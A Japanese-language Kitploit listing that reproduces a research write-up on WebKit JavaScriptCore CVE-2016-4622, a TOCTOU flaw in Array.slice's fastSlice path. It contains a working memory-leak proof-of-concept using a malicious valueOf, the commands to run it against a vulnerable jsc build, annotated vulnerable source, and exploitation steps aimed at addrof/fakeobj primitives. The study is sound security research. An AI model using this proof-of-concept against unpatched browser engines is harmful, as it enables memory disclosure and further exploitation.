Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
WebKit-CVE-2016-4622 — 私のWebKit CVE-2016-4622 エクスプロイトプロセスへの旅 | Kitploit
ツール/GitHubGitHub/hdbreaker/webkit-cve-2016-4622
メモリフォレンジック脆弱性分析エクスプロイトウェブアプリケーション悪用論文と研究学習と教育バイナリエクスプロイト
GitHubhdbreaker/webkit-cve-2016-4622

WebKit-CVE-2016-4622

私のWebKit CVE-2016-4622 エクスプロイトプロセスへの旅

リポジトリを見る
2351年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

WebKit CVE-2016-4622 解析:Slice ValueOf Fastpath 脆弱性の詳細

Array.slice 操作を介してメモリ開示を実現する WebKit JavaScript Core 脆弱性の包括的な解析と悪用

目次

  • エグゼクティブサマリー
  • 脆弱性概要
  • 研究環境のセットアップ
  • 技術解析
  • 悪用手順
  • 主要な発見
  • リソースと参考文献

エグゼクティブサマリー

このリポジトリには CVE-2016-4622 の包括的な解析が含まれています。これは WebKit の JavaScript Core エンジンにおける重要なメモリ開示脆弱性です。この脆弱性は Array.slice() の実装における競合状態に起因し、隣接するメモリ内容を漏洩させるために悪用される可能性があります。これは addrof や fakeobj のようなより洗練された悪用プリミティブの基盤として機能します。

影響: メモリ開示によりリモートコード実行の可能性 影響を受けるコンポーネント: WebKit JavaScript Core (JSC) 根本原因: fastSlice 実装における Time-of-check-time-of-use (TOCTOU) 脆弱性


脆弱性概要

核心的な問題

脆弱性は WebKit の最適化された Array.slice() メソッドの「高速パス」に存在します。スライスパラメータを処理する際、エンジンはオブジェクト引数を valueOf() メソッドを呼び出してプリミティブ値に変換します。この変換はスライス操作パラメータの決定 後 に行われますが、実際のメモリコピー操作の 前 に行われます。

攻撃ベクトル

root@kitploit:~
var a = [];
for (var i = 0; i < 100; i++)
    a.push(i + 0.123);

var b = a.slice(0, {valueOf: function() { a.length = 0; return 10; }});
print(b);

発生する処理:

  1. 配列 a が 100 要素で作成される
  2. スライスパラメータ処理中に valueOf() が呼び出される
  3. 悪意のある valueOf() が配列の長さを 0 に縮小する
  4. memcpy が空の配列から 10 要素をコピーしようとする
  5. 結果: 隣接メモリがコピーされ、情報開示が発生する

研究環境のセットアップ

リポジトリ構造

root@kitploit:~
WebKit-CVE-2016-4622/
├── Saelo-Exploit-CVE-2016-4622/    # Saelo による参照実装
├── Exploit/                        # カスタム悪用試行
│   ├── poc-memleak.js             # メモリリークの概念実証
│   └── slice_over_array.js        # 教育用サンプル
├── WebKit-SRC-CVE-2016-4622/     # 脆弱なソースコード (コミット 320b1fc)
├── WebKit-Bins/                   # テスト用コンパイル済みバイナリ
│   ├── Debug/                     # シンボル付きデバッグビルド
│   └── ASAN/                      # AddressSanitizer 有効ビルド
└── Screenshoots/                  # 視覚的なドキュメント

テスト環境

バイナリ: VMWare OSX 10.11 上で XCode 7.3.2 を使用してプリコンパイルされた JSC バイナリ アーキテクチャ: x86_64 Mach-O 実行ファイル デバッグ機能: シンボル + AddressSanitizer による包括的な解析

概念実証の実行

root@kitploit:~
cd WebKit-Bins/Debug
export DYLD_FRAMEWORK_PATH=$(pwd)
./jsc ../../Exploit/poc-memleak.js

# メモリリークを示す期待される出力:
# 0.123,1.123,2.12199579146e-313,0,0,0,0,0,0,0

技術解析

Array.slice() の仕組みの理解

Array.slice(begin, end) メソッドは、配列の一部の浅いコピーを作成します。通常の状況では:

root@kitploit:~
var array = ['a', 'b', 'c', 'd'];
var subset = array.slice(1, 3);  // ['b', 'c'] を返す

重要な insight: end パラメータは valueOf() を介して型変換を受け、悪用の窓を作り出します。

コールスタック解析

脆弱性がトリガーされると、AddressSanitizer が以下の呼び出しフローをキャプチャします:

root@kitploit:~
#0  memcpy-param-overlap detected
#1  JSC::JSArray::fastSlice()
#2  JSC::arrayProtoFuncSlice()
#3  JavaScript execution context

スタックトレース解析

深堀り: 関数ごとの解析

1. arrayProtoFuncSlice() - エントリポイント

場所: WebKit-SRC-CVE-2016-4622/Source/JavaScriptCore/runtime/ArrayPrototype.cpp:848-887

root@kitploit:~
EncodedJSValue JSC_HOST_CALL arrayProtoFuncSlice(ExecState* exec)
{
    JSObject* thisObj = exec->thisValue().toThis(exec, StrictMode).toObject(exec);
    unsigned length = getLength(exec, thisObj);  // 初期の長さ: 100
    
    // 重要: ここでパラメータ変換が行われる
    unsigned begin = argumentClampedIndexFromStartOrEnd(exec, 0, length);
    unsigned end = argumentClampedIndexFromStartOrEnd(exec, 1, length, length);
    
    // 高速パスの決定
    std::pair<SpeciesConstructResult, JSObject*> speciesResult = 
        speciesConstructArray(exec, thisObj, end - begin);
    
    if (LIKELY(speciesResult.first == SpeciesConstructResult::FastPath && isJSArray(thisObj))) {
        // ここで脆弱性がトリガーされる
        if (JSArray* result = asArray(thisObj)->fastSlice(*exec, begin, end - begin))
            return JSValue::encode(result);
    }
    // ... フォールバック実装
}

2. argumentClampedIndexFromStartOrEnd() - 変換トリガー

場所: WebKit-SRC-CVE-2016-4622/Source/JavaScriptCore/runtime/ArrayPrototype.cpp:224-236

root@kitploit:~
static inline unsigned argumentClampedIndexFromStartOrEnd(ExecState* exec, int argument, unsigned length, unsigned undefinedValue = 0)
{
    JSValue value = exec->argument(argument);
    if (value.isUndefined())
        return undefinedValue;

    // 重要: ここで valueOf() が呼ばれる
    double indexDouble = value.toInteger(exec);
    
    if (indexDouble < 0) {
        indexDouble += length;
        return indexDouble < 0 ? 0 : static_cast<unsigned>(indexDouble);
    }
    return indexDouble > length ? length : static_cast<unsigned>(indexDouble);
}

競合状態:

  • 2 番目のパラメータ {valueOf: function() { a.length = 0; return 10; }} を処理する際
  • value.toInteger(exec) が悪意のある valueOf() を呼び出す
  • 関数が配列の長さを 100 から 0 に変更する
  • しかしスライス操作パラメータ (begin=0, end=10) は変更されないまま

3. fastSlice() - メモリ破壊が発生する場所

場所: WebKit-SRC-CVE-2016-4622/Source/JavaScriptCore/runtime/JSArray.cpp:692-720

root@kitploit:~
JSArray* JSArray::fastSlice(ExecState& exec, unsigned startIndex, unsigned count)
{
    auto arrayType = indexingType();
    switch (arrayType) {
    case ArrayWithDouble:
    case ArrayWithInt32:
    case ArrayWithContiguous: {
        // ... セットアップコード ...
        
        auto& resultButterfly = *resultArray->butterfly();
        if (arrayType == ArrayWithDouble)
            // 脆弱性: 配列境界を超えて読み取る
            memcpy(resultButterfly.contiguousDouble().data(), 
                   m_butterfly.get()->contiguousDouble().data() + startIndex, 
                   sizeof(JSValue) * count);
        // ...
    }
}

メモリ破壊:

  • startIndex = 0, count = 10
  • 配列の長さは現在 0 (valueOf() によって変更)
  • memcpy はインデックス 0 から 10 個の JSValue を読み取る
  • 配列が空であるため、隣接するヒープメモリを読み取る
  • 結果: 情報開示脆弱性

悪用手順

ステップバイステップの攻撃フロー

  1. セットアップフェーズ

    root@kitploit:~
    var a = [];
    for (var i = 0; i < 100; i++)
        a.push(i + 0.123);
    
    • 100 要素の ArrayWithDouble 型を作成
    • 要素はメモリ内で連続して格納される
  2. トリガーフェーズ

    root@kitploit:~
    var b = a.slice(0, {valueOf: function() { a.length = 0; return 10; }});
    
    • スライス操作を開始し、end パラメータに悪意のあるオブジェクトを指定
    • 高速パスの検証は通過する(配列は正常に見える)
  3. 悪用フェーズ

    • パラメータ変換が valueOf() を呼び出す
    • 配列の長さが 0 に減少
    • fastSlice が空の配列から 10 要素をコピーしようとする
    • 隣接メモリが結果の配列に漏洩
  4. 結果

    root@kitploit:~
    0.123,1.123,2.12199579146e-313,0,0,0,0,0,0,0
    
    • 最初の 2 つの値: 正当な配列データ
    • 残りの値: 漏洩した隣接メモリ

視覚的表現

root@kitploit:~
Before valueOf():  [0.123][1.123][2.123]...[99.123] (length=100)
After valueOf():   [] (length=0)
memcpy reads:      [0.123][1.123][LEAKED][LEAKED][LEAKED]...

主要な発見

根本原因分析

コンポーネント問題影響

悪用プリミティブ

この脆弱性は以下の基盤として機能します:

  • 情報開示: 直接的なメモリリーク能力
  • ASLR バイパス: アドレス空間レイアウトの潜在的な開示
  • 型混乱: addrof/fakeobj プリミティブのセットアップ

防御的考察

緩和戦略:

  • memcpy 操作の前に配列境界を検証する
  • 高速パスで一貫した状態チェックを実装する
  • 最適化された操作に対してランタイム境界検証を追加する

リソースと参考文献

研究論文と記事

  • Attacking JavaScript Engines - Saelo (Phrack)
  • CVE-2016-4622 Analysis - TuringH
  • Deep Dive Analysis - null2root
  • WebKit Exploitation Tutorial

技術ドキュメント

  • Array.slice() - MDN Web Docs
  • WebKit Source Code
  • JavaScript Core Architecture

ツールと環境

  • 脆弱なコミット: 320b1fc3f6f
  • ビルド環境: VMWare OSX 10.11, XCode 7.3.2
  • 解析ツール: AddressSanitizer, GDB, JSC Debug Builds

研究期間: 2020年4月11-12日
ステータス: 解析完了 ✅
次のステップ: addrof/fakeobj プリミティブを用いた完全な悪用チェーンの開発

ツールをダウンロード
パラメータ処理argumentClampedIndexFromStartOrEnd における TOCTOU処理中の状態変更を許可
高速パスロジックfastSlice における不十分な検証境界チェックの回避
メモリ操作配列コピーにおけるチェックなしの memcpy直接的なメモリ開示